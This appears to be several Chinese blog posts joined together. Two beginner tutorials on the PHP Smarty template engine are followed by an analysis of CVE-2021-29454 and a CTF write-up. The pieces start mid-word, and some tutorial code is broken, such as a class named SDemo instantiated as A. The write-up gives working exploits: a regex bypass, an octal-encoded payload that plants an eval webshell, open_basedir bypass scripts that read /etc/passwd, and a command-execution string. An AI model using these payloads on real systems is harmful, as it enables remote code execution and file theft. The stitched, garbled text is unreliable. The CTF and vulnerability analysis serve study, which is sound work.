整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

新手php入门之 Smarty模板简介及使用步骤

道框架(framework)那么必须要提到smarty模板,在面试时你可以不会任何的框架,但是如果不会smarty模板,那么面试官会认为你在说谎,因为几乎所有的框架都是基于或借鉴smarty。

smarty模板介绍

基于面向对象编程思想封装的类,实现前后台代码分离,降低耦合度,并且为后续的分工合作开发做准备。Smarty(轻量,微小)是编译性模板框架,体积小、速度快,支持缓存、全局站点配置等功能,是“旅行居家”开发必备神器!

使用步骤

1、在官网www.smarty.net 下载最新版,解压,复制libs文件夹到项目目录;

2、在对应的项目目录下创建4个文件夹分别为模板文件夹(保存前台页面,必须,一般命名为templates)、编译(自动整理前后台页面,从第二次访问开始不需要重新重新整合,一般命名为templates_c,compile必须)、配置文件夹(应用于整个站点的配置)、缓存文件夹

3、测试

新建一个后台页面index.php

<?php

//引入核心类库文件

include_once('libs/Smarty.class.php');

//实例化类

$smarty=new Smarty();

//定义配置

//用户访问的后台页面所有的路径都是应该以访问后台页面作为参照物!!!

$smarty->setTemplateDir('templates');//定义模板路径

//定义编译路径

$smarty->setCompileDir('templates_c');

//定义配置文件路径

$smarty->setConfigDir('config');

//定义缓存路径

$smarty->setCacheDir('cache');

//修改默认定界符避免和JS冲突!!!

$smarty->left_delimiter='<{';

$smarty->right_delimiter='}>';

$test='我是test变量';

$smarty->assign("test",$test);//建议注册的变量名和键保持一致

//注册一个索引数组

$smarty->assign("arr1",array('a','b','c'));

//注册一个引用数组,section无法用于引用数组

$smarty->assign("arr2",array("a"=>1,"b"=>2,"c"=>3));

//开启调测

//$smarty->debugging=true;

//自动整理前后台页面

$smarty->display('index.tpl');

$smarty->assign('test1','test1');//这个变量无法使用,想一想为什么?

?>

在templates文件加新建index.tpl文件

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>无标题文档</title>

</head>

<body>

我是网站根目录下index.php的前台index.tpl页面<br />

输出后台变量test的值:<font color="red" style="font-weight:bold;"><{$test}></font>XXXX<br />

该变量无法输出:<{$test1}><br />

遍历输出索引数组:

<{section name=i loop=$arr1}>

索引:<{$smarty.section.i.index}>值:<{$arr1[i]}> &nbsp;

<{sectionelse}>

没有符合的记录

<{/section}>

<br />

遍历引用数组(用foeach,foreach也可以用于索引数组):

<{foreach from=$arr2 item=v key=k}>

键:<{$k}>值:<{$v}> &nbsp;

<{foreachelse}>

没有符合的记录集

<{/foreach}>

<br />

新版本写法:

<{foreach $arr2 as $k=>$v}>

键:<{$k}>值:<{$v}> &nbsp;

<{/foreach}>

</body>

</html>

访问后台页面!!!!!测试结果

变量解析

后台注册,语法 $smarty对象->assign(&lsquo;键&rsquo;,mixed 值);

前台在需要的位置显示,语法 {$键}

开启调测

$smarty->debugging=true;

编译原理

smarty模板调用display函数自动整合前后台页面,是从templates文件夹下查找前台地址自动把访问的后台php页面和该前台页面替换成内嵌PHP代码,生成编译文件,文件名XXX.前台模板名.tpl.php,第二次访问自动把这个页面相应给用户,加快速度,只要PHP后台代码不改变,这个编译页面就不会再次生成。

天主要跟大家分享下模板引擎

目前常见的模板引擎有以下这几种,模板引擎Smarty,Blade,Twig,Haml,Liquid,Mustache

其中最为常见的,比较主流的Smarty,Blade,这两个分别对应是tp以及laravel

今天给大家讲解下什么是smarty

smarty是一个用PHP写的模板引擎,它提供了一个前后端分类计数,前端开发前端,后台开发后端的,美工开发美工的,互相不影响,可以极大的提升工作效率。

下来给大家介绍下smarty优点:

如果你使用过tp框架开发的话应该对这块比较熟悉的

1. 开发速度快:用smarty编写的程序速度会很快,因为传统的php写一个遍历,如果没有前后端分离,你需要写大量的代码,并且需要花费很多时间,这一点是相对于其它的模板引擎技术而言的。

2. 代码编译型:因为这个模板引擎是PHP与HTML混合的方式,在下一次访问模板时将WEB请求直接保存到一个指定的文件目录中,而不再进行模板重新编译

3. 模板缓存技术:smarty选用的一种缓存技术,使用模板开发可以提供页面的加载速度,对网站的性能也一种优化,这种模板缓存只要开启了之后,在一段时间内容,他在渲染会去比对页面内用,如果页面一直,直接调动静态文件,我们都知道静态文件访问速度是最快,减少io资源消耗,如果不一样怎么请求最新的数据再次缓存

不适合smarty的地方:

1. 对数据的实时性要求比较高的就不怎么合适,比例像在线聊天,热点新闻等都不适用。因为模板缓存的优势在于对页面的实时性要求不高

2. 项目太小的也不大适合,因为使用模板引擎需要实现分好,这个小团队开发的速度不会体验的很方便

现在教大家如何去使用smarty

1.https://www.smarty.net/download 登录地址,去下载相对应的版本

Smarty 3.x: PHP 5.2+

Smarty 2.x: PHP 4 or 5

这个有版本要求,你只要根据你的开发环境去下载对应的版本即可

demo文件夹为示例文件夹,里面包含默认文件夹结构,是我们要进行编写程序代码的主要文件夹。demo里文件夹的名称都是smarty默认的目录结构名称,可以通过改smarty对应属性值,再把文件夹名改成我们想要的名称。

libs为smarty代码源文件夹,一般不动。

/libs/Smarty.class.php #主文件

/libs/sysplugins/ #内部plugin

/libs /plugins/ #外部plugin,可自由扩充

/demo/cahce/ #放置缓存文件

/demo/configs / #放置可以载入的配置文件

/demo/templates/ #放置模板文件

/demo/templates_c/ #放置对模板编译后的文件

可以把解压得到的 Smarty-3.1.12 文件夹名改成我们想要的项目名,demo也可以改成我们想要的具体存放编码的文件夹的名称

2、调试Smarty-3.1.12

接下来我们去创建自己的文件,在D盘下demo文件夹下创建index.php。

在templates目录中创建模板index.tpl

(几乎可以是任何文本文件的扩展名,这个模板引擎常用的是tpl,php,html,不建议使用后两者,因为可以从浏览器直接访问而不安全。可以对apache的httpd.conf进行设置,禁止直接访问.tpl文件。或者将templats目录放在网站文档树之外,可以大大的提升站点安全性。)

*/

//接下来我们直接用代码演示

require('../libs/Smarty.class.php'); //index.php代码

$smarty = new Smarty; //实例化对象

$smarty->assign('name','zhang');//对变量赋值 直接将zhang赋值给变量 name

$smarty->display('templates/index.tpl'); //调用模板tpl文件里不能执行PHP语句块

/*

index.tpl页面内容

<html>

<body>

我们可以直接使用 {$name} {}里面就是对应的变量 直接输出模板

<span>测试一下 {$name}</span>

</body>

</html>

*/

/*

上面的代码操作是不是很简单,传统的我们需要显示变量需要使用

<?php echo $name?> 这么长的一串代码

smarty处理过程

smarty是将原本php源文件,把他编译成中间文件也是php脚本文件,如果说你开启缓存,会根据编译文件再次生成缓存文件(也是php)。

之后的每次访问都会访问编译文件,如果启用缓存且有缓存文件而且没有过期,则直接访问缓存文件,跳过编译文件。这样子的就可以提升你的网页加载速度

编译文件一经生成,就不会被自动更新,除非模板文件或者配置文件更改。源php文件修改是不会引发重新编译的。

*/

//Smarty允许有两种特殊的编译设置存在:

// 下面给大家介绍下关于模板缓存的开启

$smarty->setCaching(true); //开启缓存

$smarty->getCaching();//获取当前缓存状态,默认是false关闭的

$smarty->setcache_lifetime(60);//设置缓存时间单位秒

/*

smarty分界符

在模板文件中,区分普通html代码和smarty代码靠的是分界符。默认是 {} ,但可能会与js和css相冲突。可以进行变更。

*/

$smarty->left_delimiter = "{"; //左分界符,2.0属性,3.0沿用

$smarty->right_delimiter = "}";

/*

分界符就相当于PHP的echo,分界符中的值都将输出,除非赋值等操作

smarty tpl文件中分界符中两个**之间的内容为注释内容如

tpl文件:

{*这是模板注释内容*}

*/

//设置缓存目录路径,不设默认"cache"

$smarty->setCacheDir("cache");

//获取缓存目录路径

$smarty->getCacheDir();

//设置配置目录路径,不设默认"configs"

$smarty->setConfigDir("configs");

//添加配置目录路径,所有路径将会以数组形式保存,调用文件时将在所有路径中查找

$smarty->addConfigDir("configs/test");

//获取配置目录路径的数组

$smarty->getConfigDir();

//设置插件目录路径,不设默认"plugins"

$smarty->setPluginsDir("plugins");

//添加插件目录路径,所有路径将会以数组形式保存,调用文件时将在所有路径中查找,plugins文件夹里放的就是可以在前台或后台按不同规则调用的函数的存储文件,文件名及函数名的命名按不同调用规则有不同写法要求

$smarty->addPluginsDir("plugins/test");

//获取插件目录路径的数组

$smarty->getPluginsDir();

//设置模板目录路径,不设默认"templates"

$smarty->setTemplateDir("templates");

//添加模板目录路径,所有路径将会以数组形式保存,调用文件时将在所有路径中查找

$smarty->addTemplateDir("templates/test");

//获取模板目录路径的数组

$smarty->getTemplateDir();

//设置编译目录路径,不设默认"templates_c"

$smarty->setCompileDir("templates_c");

//获取编译目录路径

$smarty->getCompileDir();

//模版变量, 我们传递数组

$arr = array(array("name","111"),'a'=>array("age","222"),array("classname","333"));

$smarty->assign("testArr", $arr);

//设置模版变量,为将要调用的模版提供变量,在接下来调用的模版中可以通过{$testArr}或者{$testArr['a'][0]}或者{$testArr.a.0}来访问具体某数组元素

//在模版中可以直接通过 {$testArr = "testValue" scope="global"} 来更改传过来的模板变量的值(如果不存在则在模板中创建并设置该模版变量),scope属性是标注模板变量使用范围的可不写

//在模版中更改或创建成其他数组 {$testArr = [1,2,3]}也可以{$testArr = [1,'a'=>2,2=>3]}也可以{$testArr[] = 4}或其他类似PHP中创建数组方式

//php源文件可通过 $smarty->getTemplateVars("testArr") 获取指定模版变量,如要获取模板中改变或创建的模版变量,在模板中创建或更改其值时必须加上scope属性并把值设置为scope="global"或scope="parent"

class SDemo{

function demo($nam){

echo $nam;

}

}

$smarty->assign("obj", new A); //把对象直接赋值给变量

//Smarty可以识别嵌入在双引号中的模版变量,只要此变量只包含数字、字母、下划线。但貌似只支持能直接转换成字符串的模版变量

$smarty->assign("testStr", "this is smart");

//模板中可通过{"$testStr OK !"}来访问

/*

tpl模板包含模板 使用也很简单

模板文件:

{include file="headerinfo.tpl"} //这样子就是直接调用头部文件

headerinfo.tpl内容:

<span>这是顶部内容!!,欢迎你,{$name}</span>

模板包含模板也可以是这样格式

{include file="headerinfo.tpl" testVar="这是顶部内容!!!"}

headerinfo.tpl则可以通过{$testVar}使用调用页包含时传来的模板变量

<span>{$testVar},欢迎你,{$name}</span><hr />

*/

/*

我们都知道 我们在写页面的时候可能涉及到很多逻辑

这个模板引擎也有提供了相应的功能

我们直接使用if判断

{if $name == "张三"}

你好 张三.

{elseif $name == "李四"}

你好 李四.

{else}

你好, 未知

{/if}

{*操作符可以是 ==,>= 等也可以是 eq,ne等*}

{for $x=0; $x<count($demoArr); $x++}

{$x}

{/for}

{*for循环,类似PHP代码*}

{$x=0}

{while $x<count($demoArr)}

{$x++}

{/while}

{*While循环,也类似PHP代码。*}

{*也可以如下两种类PHP格式*}

{foreach $demoArr as $n}

{$n}

{/foreach}

{foreach $demoArr as $key=>$n}

{$key}

{/foreach}

*/

//PHP文件:

//$smarty->setDebugging(true);//对后续调用的模板进行调试。

//$smarty->getDebugging();//得到当前是否进行调试,默认false

//或在需要调试的模版中写入{debug}

/*

模板文件:

smarty3.0支持了模版继承系统,例如

nav.tpl:

<html>

<body>

{block name='top'} nav.header<br />{/block}

{block name='middle'} nav.middle<br />{/block}

{block name='buttom'} nav.buttom<br />{/block}

</body>

</html>

以上就是一些关于samrt一些基础操作

大家要是觉得有学习到的话可以收藏关注哦

洞报告

Smarty 是 PHP 的模板引擎,有助于将表示 (HTML/CSS) 与应用程序逻辑分离。在 3.1.42 和 4.0.2 版本之前,模板作者可以通过制作恶意数学字符串来运行任意 PHP 代码。如果数学字符串作为用户提供的数据传递给数学函数,则外部用户可以通过制作恶意数学字符串来运行任意 PHP 代码。用户应升级到版本 3.1.42 或 4.0.2 以接收补丁。

源码分析

对比官方修复的代码,在/plugins/function.math.php添加了如下一段

// Remove whitespaces
    $equation = preg_replace('/\s+/', '', $equation);

    // Adapted from https://www.php.net/manual/en/function.eval.php#107377
    $number = '(?:\d+(?:[,.]\d+)?|pi|π)'; // What is a number
    $functionsOrVars = '((?:0x[a-fA-F0-9]+)|([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*))';
    $operators = '[+\/*\^%-]'; // Allowed math operators
    $regexp = '/^(('.$number.'|'.$functionsOrVars.'|('.$functionsOrVars.'\s*\((?1)+\)|\((?1)+\)))(?:'.$operators.'(?2))?)+$/';

    if (!preg_match($regexp, $equation)) {
        trigger_error("math: illegal characters", E_USER_WARNING);
        return;
    }

对恶意拼接的数学字符串进行过滤(漏洞利用POC格式其实也在这里写出来了,参考$regexp

而在较低版本下,缺少过滤部分,进而导致RCE
具体的POC我会在下面利用部分详写的

并且,在tests/UnitTests/TemplateSource/ValueTests/Math/MathTest.php中,也有添加

/**
     * @expectedException PHPUnit_Framework_Error_Warning
     */
    public function testBackticksIllegal()
    {
        $expected = "22.00";
        $tpl = $this->smarty->createTemplate('eval:{$x = "4"}{$y = "5.5"}{math equation="`ls` x * y" x=$x y=$y}');
        $this->assertEquals($expected, $this->smarty->fetch($tpl));
    }

    /**
     * @expectedException PHPUnit_Framework_Error_Warning
     */
    public function testDollarSignsIllegal()
    {
        $expected = "22.00";
        $tpl = $this->smarty->createTemplate('eval:{$x = "4"}{$y = "5.5"}{math equation="$" x=$x y=$y}');
        $this->assertEquals($expected, $this->smarty->fetch($tpl));
    }

    /**
     * @expectedException PHPUnit_Framework_Error_Warning
     */
    public function testBracketsIllegal()
    {
        $expected = "I";
        $tpl = $this->smarty->createTemplate('eval:{$x = "0"}{$y = "1"}{math equation="((y/x).(x))[x]" x=$x y=$y}');
        $this->assertEquals($expected, $this->smarty->fetch($tpl));
    }

漏洞利用实例——红明谷 2022 | Smarty calculator

【→所有资源关注我,私信回复“资料”获取←】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记

考点

  • Smarty3.1.39 模板注入(CVE-2021-29454)
  • Bypass open_basedir
  • Bypass disable_functions

过程详解

看到Smarty,联系题目描述就明白这是Smarty模板注入,但是出题人修改了模板规则(真滴苟啊)。

一般情况下输入{$smarty.version},就可以看到返回的Smarty当前版本号,此题版本是3.1.39。

扫一下网站,发现存在源码泄露,访问www.zip即可下载,打开分析。

index.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Smarty calculator</title>
</head>
<body background="img/1.jpg">
<div align="center">
    <h1>Smarty calculator</h1>
</div>
<div style="width:100%;text-align:center">
    <form action="" method="POST">
        <input type="text" style="width:150px;height:30px" name="data" placeholder="      输入值进行计算" value="">
        <br>
        <input type="submit" value="Submit">
    </form>
</div>
</body>
</html>
<?php
error_reporting(0);
include_once('./Smarty/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);

function waf($data){
  $pattern = "php|\<|flag|\?";
  $vpattern = explode("|", $pattern);
  foreach ($vpattern as $value) {
        if (preg_match("/$value/", $data)) {
          echo("<div style='width:100%;text-align:center'><h5>Calculator don  not like U<h5><br>");
          die();
        }
    }
    return $data;
}

if(isset($_POST['data'])){
  if(isset($_COOKIE['login'])) {
      $data = waf($_POST['data']);
      echo "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>";
      $smarty->display("string:" . $data);
  }else{
      echo "<script>alert(\"你还没有登录\")</script>";
  }
}

在index.php中定义了waf函数,会检测$data中是否含有php < flag字样,这个还是蛮好绕的。

还会检测cookielogin是否存在且值不为零,只要在cookie上添加就好。

剩下的太多了。。。所以我筛选了一下,发现出题人应该只修改过3个文件。

用Beyond Compare对比一下官方模板,发现了出题人重点修改的地方就是正则匹配。

在CVE-2021-29454,有关Smarty的安全问题上,也有提到

  • 阻止$smarty.template_object在沙盒模式下访问
  • 修复了通过使用非法函数名的代码注入漏洞{function name='blah'}{/function}
if (preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name)) {
    $compiler->trigger_template_error("Function name contains invalid characters: {$_name}", null, true);
}

那么接下来,请欣赏各种优雅的过正则姿势

姿势一

在正则处打下断点进行测试,

发现可以通过换行绕过正则

设置完cookie后,url编码一下,POST传参,poc执行成功

但是不能直接cat /flag,有disable_functions以及open_basedir,绕过open_basedir的方法可太多了,我之前写了一篇文章你的open_basedir安全吗? - 先知社区 (aliyun.com)

syslink() php 4/5/7/8

symlink(string $target, string $link): bool

原理是创建一个链接文件 aaa 用相对路径指向 A/B/C/D,再创建一个链接文件 abc 指向 aaa/../../../../etc/passwd,其实就是指向了 A/B/C/D/../../../../etc/passwd,也就是/etc/passwd。这时候删除 aaa 文件再创建 aaa 目录但是 abc 还是指向了 aaa 也就是 A/B/C/D/../../../../etc/passwd,就进入了路径/etc/passwd payload 构造的注意点就是:要读的文件需要往前跨多少路径,就得创建多少层的子目录,然后输入多少个../来设置目标文件。

<?php
highlight_file(__FILE__);
mkdir("A");//创建目录
chdir("A");//切换目录
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","aaa");
symlink("aaa/../../../../etc/passwd","abc");
unlink("aaa");
mkdir("aaa");
?>

ini_set()

ini_set()用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置。函数用法如下:

ini_set ( string $varname , string $newvalue ) : string

POC

<?php
highlight_file(__FILE__);
mkdir('Andy');  //创建目录
chdir('Andy');  //切换目录
ini_set('open_basedir','..');  //把open_basedir切换到上层目录
chdir('..');  //切换到根目录
chdir('..');
chdir('..');
ini_set('open_basedir','/');  //设置open_basedir为根目录
echo file_get_contents('/etc/passwd');  //读取/etc/passwd

姿势二

其实这个正则并不难,我们可以直接利用八进制数,然后借用Smarty的math equation,直接写入一句话shell,Antsword连接就好。

payload:

eval:{$x="42"}{math equation="(\"\146\151\154\145\137\160\165\164\137\143\157\156\164\145\156\164\163\")(\"\141\56\160\150\160\",\"\74\77\160\150\160\40\145\166\141\154\50\44\137\122\105\121\125\105\123\124\133\47\120\141\143\153\47\135\51\73\77\76\")"}

然后蚁剑连接,在根目录下得到flag

姿势三

既然我们能利用函数名了,那么我们也可以用一些数学函数执行命令,我当时用就是这一种(其实是另外两种没想到,嘿嘿嘿)

<?php
highlight_file(__FILE__);
//error_reporting(0);
include_once('./Smarty/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
//$smarty->display("string:" . '{math equation="p;(\'exp\'[0].\'exp\'[1].\'exp\'[0].\'cos\'[0])(\'cos\'[0].\'abs\'[0].\'tan\'[0].\'floor\'[0].\'floor\'[1].\'abs\'[0].\'log\'[2]);" p=1 }');
$smarty->display("string:" . '{math equation="p;(\'exp\'[0].\'exp\'[1].\'exp\'[0].\'cos\'[0])(\'cos\'[0].\'abs\'[0].\'tan\'[0].\' ./\'.\'floor\'[0].\'floor\'[1].\'abs\'[0].\'log\'[2].\'>1\');" p="1" }');
//exec('cat /flag')>1
?>

将执行结果写入1文件,同样,因为有disable_functions以及open_basedir,所以执行会不成功吗,重复姿势一,就能绕过。